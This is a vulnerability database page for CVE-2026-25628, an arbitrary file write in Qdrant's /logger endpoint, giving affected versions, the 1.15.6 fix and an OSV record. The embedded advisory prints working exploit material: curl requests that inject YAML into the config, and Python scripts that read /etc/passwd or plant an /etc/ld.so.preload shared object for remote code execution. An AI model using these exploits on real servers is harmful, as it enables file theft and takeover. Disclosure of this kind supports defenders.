CVE-2026-25628: Qdrant Qdrant Has Arbitrary File Write Vulnerability
HIGHCVE-2026-25628 is a HIGH (CVSS 8.5) qdrant has arbitrary file write vulnerability (CWE-73: External Control of File Name or Path) affecting Qdrant libraries in the crates.io ecosystem. The issue involves qdrant has arbitrary file write via `/logger` endpoint. Remediation is available by upgrading affected packages to version 1.15.6.
CVE-2026-25628 at a Glance
Security Impact
CVSS: 8.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-25628
To remediate this vulnerability, upgrade all affected Qdrant dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade qdrant to 1.15.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for qdrant
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-25628, inspect your project dependencies for Qdrant:
inspect dependencies for qdrant
Analyze the terminal output to locate any version of Qdrant in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.15.6), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Qdrant, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-25628 Affected Qdrant Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
qdrant
|
crates.io |
≥ 1.9.3
< 1.15.6
|
1.15.6
|
References
Frequently Asked Questions
What is CVE-2026-25628?
Which Qdrant versions are affected?
What version fixes CVE-2026-25628?
Is qdrant affected?
What is the CVSS score of CVE-2026-25628?
What CWE is associated with CVE-2026-25628?
How can I check crates.io dependencies for CVE-2026-25628?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-f632-vm87-2m2f",
"modified" : "2026-02-06T21:43:57Z",
"published" : "2026-02-05T21:22:50Z",
"aliases" : [ "CVE-2026-25628" ],
"summary" : "qdrant has arbitrary file write via `/logger` endpoint",
"details" : "### Summary\nIt is possible to append to arbitrary files via /logger endpoint. Minimal privileges are required (read-only access). Tested on Qdrant 1.15.5\n\n### Details\n`POST /logger`\n([Source code link](https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195))\nendpoint accepts an attacker-controlled `on_disk.log_file` path.\n\nThere are no authorization checks (but authentication check is present).\n\nThis can be exploited in the following way: if configuration directory is writable and `config/local.yaml` does not exist, set log path to `config/local.yaml` and send a request with a log injection payload. The`PATCH /collections` endpoint was used with an invalid collection name to inject valid yaml.\n\nAfter running the PoC, the content of `config/local.yaml` will be:\n\n```yaml\n2025-11-11T23:52:22.054804Z INFO actix_web::middleware::logger: 172.18.0.1 \"POST /logger HTTP/1.1\" 200 57 \"-\" \"python-requests/2.32.5\" 0.009422\n2025-11-11T23:52:22.056962Z INFO storage::content_manager::toc::collection_meta_ops: Updating collection hui\nservice:\n static_content_dir: ..\n\n2025-11-11T23:52:22.057530Z INFO actix_web::middleware::logger: 172.18.0.1 \"PATCH /collections/hui%0Aservice:%0A%20%20static_content_dir:%20..%0A HTTP/1.1\" 404 113 \"-\" \"python-requests/2.32.5\" 0.001391\n```\n\nSome junk log lines are present, but they don't matter as this is still valid yaml.\n\nAfter that, if qdrant is restarted (via legitimate means or by a OOM/crash), then `local.yaml` config will have higher priority and `service.static_content_dir` will be set to `..`. In a container environment, this allows one to read all files via the web UI path.\n\nAlso overriding config file may let the attacker raise its privileges with a custom master key (remember that lowest privileges are required to access the vulnerable endpoint).\n\nRelevant requests:\n\n1. Enable on-disk logging to the config file:\n\n```bash\ncurl -sS -X POST \"http://localhost:6333/logger\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"log_level\":\"INFO\",\n \"on_disk\":{\n \"enabled\":true,\n \"format\":\"text\",\n \"log_level\":\"INFO\",\n \"buffer_size_bytes\":1,\n \"log_file\":\"config/local.yaml\"\n }\n }'\n```\n\n2. Inject YAML via a request that logs newlines (URL-encoded):\n\n```bash\ncurl -sS -X PATCH \"http://localhost:6333/collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a\" \\\n -H \"Content-Type: application/json\" \\\n -d '{}'\n```\n\n### Full reproduction instructions\n\n1. Start Qdrant with a writable configuration directory:\n\n```sh\nsudo docker run -p 6333:6333 --name qdrant-poc -d qdrant/qdrant:v1.15.5\n```\n\n2. Run the exploit:\n\n```sh\n% python3 exploit.py --url http://localhost:6333\n[+] Logger configured\n[+] Log injection successful\n[+] Logger disabled\nRestart Qdrant cluster and press Enter to continue...\n```\n\n3. Restart the container:\n\n```sh\nsudo docker restart qdrant-poc\n```\n\n4. Resume the exploit:\n\n```sh\n<press Enter>\n[+] Passwd file retrieved\n--------------------------------\n...\n--------------------------------\n[+] Config file retrieved\n--------------------------------\n...\n```\n\n## Mitigation\n\n1. Limit usage of `/logger` endpoint to users with management privileges only (or better disable it completely).\n2. Restrict the path of the log file to a dedicated logs directory.\n\nThis vulnerability does not affect Qdrant cloud as the configuration directory is not writable.\n\n## Exploit code\n\n### `exploit_privesc.py`\n\n```python\nimport requests\nimport sys\nimport argparse\n\nparser = argparse.ArgumentParser(description=\"Exploit script for posting to Qdrant API\")\nparser.add_argument(\"--url\", required=False, help=\"Target URL for API\", default=\"http://localhost:6333\")\nparser.add_argument(\"--api-key\", required=False, help=\"API key\")\n\nargs = parser.parse_args()\n\nurl = args.url\n\nheaders = {}\nif args.api_key:\n headers[\"api-key\"] = args.api_key\n\ns = requests.Session()\n\ns.headers.update(headers)\n\nres = s.post(\n f\"{url}/logger\",\n json={\n \"log_level\": \"INFO\",\n \"on_disk\": {\n \"enabled\": True,\n \"format\": \"text\",\n \"log_level\": \"INFO\",\n \"buffer_size_bytes\": 1,\n \"log_file\": \"config/local.yaml\",\n },\n },\n)\nres.raise_for_status()\nprint(\"[+] Logger configured\")\n\n\nres = s.patch(\n f\"{url}/collections/%0aservice:%0a%20%20static_content_dir:%20..%0a\",\n json={},\n)\nerror = res.json()[\"status\"][\"error\"]\n\nif \"doesn't exist!\" in error:\n print(\"[+] Log injection successful\")\nelse:\n print(f\"[-] Error: {error}\")\n sys.exit(1)\n\nres = s.post(\n f\"{url}/logger\",\n json={\n \"on_disk\": {\n \"enabled\": False,\n },\n },\n)\nres.raise_for_status()\nprint(\"[+] Logger disabled\")\n\ninput(\"Restart Qdrant cluster and press Enter to continue...\")\n\nres = s.get(f\"{url}/dashboard/etc/passwd\")\nres.raise_for_status()\nprint(\"[+] Passwd file retrieved\")\nprint(\"--------------------------------\")\nprint(res.text)\nprint(\"--------------------------------\")\n\nres = s.get(f\"{url}/dashboard/qdrant/config/config.yaml\")\nres.raise_for_status()\nprint(\"[+] Config file retrieved\")\nprint(\"--------------------------------\")\nprint(res.text)\nprint(\"--------------------------------\")\n```\n\n## `exploit_rce.py`\n\n```python\nimport requests\nimport argparse\nimport tempfile\nimport os\n\nTEST_COLLECTION_NAME = \"COLTEST\"\n\n\nparser = argparse.ArgumentParser(description=\"Exploit script for posting to Qdrant API\")\nparser.add_argument(\"--url\", required=False, help=\"Target URL for API\", default=\"http://localhost:6333\")\nparser.add_argument(\"--api-key\", required=False, help=\"API key\")\nparser.add_argument(\"--cmd\", default=\"touch /tmp/touched_by_rce\")\nparser.add_argument(\"--lib\", default=\"\")\n\nargs = parser.parse_args()\n\n\nassert \"'\" not in args.cmd, \"Command must not contain single quotes\"\nso_code = \"\"\"\n#include <stdlib.h>\n#include <unistd.h>\n\n__attribute__((constructor))\nvoid init() {\n unlink(\"/etc/ld.so.preload\");\n system(\"/bin/bash -c 'XXXXXXXX'\");\n}\n\"\"\".replace('XXXXXXXX', args.cmd)\n\nwith tempfile.TemporaryDirectory() as tmpdir:\n with open(f\"{tmpdir}/cmd_code.c\", \"w\") as f:\n f.write(so_code)\n os.system(f'gcc -shared -fPIC -o {tmpdir}/cmd.so {tmpdir}/cmd_code.c')\n cmd_so = open(f'{tmpdir}/cmd.so', \"rb\").read()\n\nurl = args.url\n\nheaders = {}\nif args.api_key:\n headers[\"api-key\"] = args.api_key\n\ns = requests.Session()\n\ns.headers.update(headers)\n\nres = s.post(\n f\"{url}/logger\",\n json={\n \"log_level\": \"INFO\",\n \"on_disk\": {\n \"enabled\": True,\n \"format\": \"text\",\n \"log_level\": \"INFO\",\n \"buffer_size_bytes\": 1,\n \"log_file\": \"/etc/ld.so.preload\",\n },\n },\n)\nres.raise_for_status()\nprint(\"[+] Logger configured\")\n\nres = s.get(\n f\"{url}/:/qdrant/snapshots/{TEST_COLLECTION_NAME}/hui.so\",\n)\n\nprint(\"[+] Log injected\")\n\n\nres = s.post(\n f\"{url}/logger\",\n json={\n \"on_disk\": {\n \"enabled\": False,\n },\n },\n)\nres.raise_for_status()\nprint(\"[+] Logger disabled\")\n\n\nrsp = s.post(f\"{args.url}/collections/{TEST_COLLECTION_NAME}/snapshots/upload\", files={\"snapshot\": (\"hui.so\", cmd_so, \"application/octet-stream\")})\n\nprint(rsp.text)\n# trigger the stacktace endpoint which will run execute `/qdrant/qdrant --stacktrace`\n\ninput(\"Press Enter to continue...\")\nrsp = s.get(f\"{args.url}/stacktrace\")\nrsp.raise_for_status()\n```\n\n### Impact\nRemote code execution.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "crates.io",
"name" : "qdrant"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.9.3"
}, {
"fixed" : "1.15.6"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/qdrant/qdrant/security/advisories/GHSA-f632-vm87-2m2f"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25628"
}, {
"type" : "WEB",
"url" : "https://github.com/qdrant/qdrant/commit/32b7fdfb7f542624ecd1f7c8d3e2b13c4e36a2c1"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/qdrant/qdrant"
}, {
"type" : "WEB",
"url" : "https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-73" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-02-05T21:22:50Z",
"nvd_published_at" : "2026-02-06T21:16:18Z"
}
}